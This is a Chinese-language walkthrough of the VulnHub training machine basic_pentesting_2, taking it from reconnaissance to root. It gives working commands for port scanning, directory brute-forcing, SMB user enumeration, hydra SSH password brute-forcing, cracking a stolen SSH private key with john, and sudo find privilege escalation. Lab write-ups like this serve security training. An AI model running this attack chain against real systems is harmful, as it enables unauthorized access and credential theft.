一、介绍
运行环境：Virtualbox
攻击机：kali（10.0.2.4）
靶机：basic_pentesting_2（10.0.2.7）
目标：获取靶机root权限和flag
靶机下载地址：https://download.vulnhub.com/basicpentesting/basic_pentesting_2.tar.gz
二、信息收集
使用nmap主机发现靶机ip：10.0.2.7
使用nmap端口扫描发现靶机开放端口：22、80、139、445、8009、8080
nmap -A 10.0.2.7 -p 1-65535
80端口：打开网站未发现可利用的功能点
使用gobuster工具进行目录爆破，发现一个目录/development/
gobuster dir -u http://10.0.2.7/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
访问发现提示信息
J用户一直在审核 /etc/shadow 的内容
K用户的密码是弱口令
445端口：靶机开放了445端口，可以使用enum4linux工具枚举smb服务的信息，发现两个用户名：kay、jan
enum4linux -a -o 10.0.2.7
三、漏洞利用
根据之前的提示，使用hydra工具爆破jan用户的ssh密码，得到：jan:armando
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.7:22 -t 64
ssh登录
四、提权
查看是否存在特权命令，或是否存在具有root权限的可利用的可执行文件，均未发现
翻一翻各个文件夹，发现/home/kay/目录存在pass.bak文件，但目前我们没有访问权限；发现可以访问kay用户的ssh私钥文件
我们可以将私钥文件的内容复制到本地下来，设置权限：chmod 600 id_rsa
然后尝试使用私钥文件登录目标：ssh -i id_rsa kay@10.0.2.7
通过ssh2john转换id_rsa为可以识别的信息，然后利用字典解密该信息，来获取文件密码。
ssh2john id_rsa > passwd.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
破解成功获得密码：beeswax
登录ssh成功
查看pass.bak文件：heresareallystrongpasswordthatfollowsthepasswordpolicy$$
这个可能是kay用户的密码，尝试使用命令sudo -l查看一下具有sudo权限的程序，输入密码成功
可以使用sudo提权，用find的exec参数来执行命令。
sudo find /home -exec /bin/bash \;
获取flag
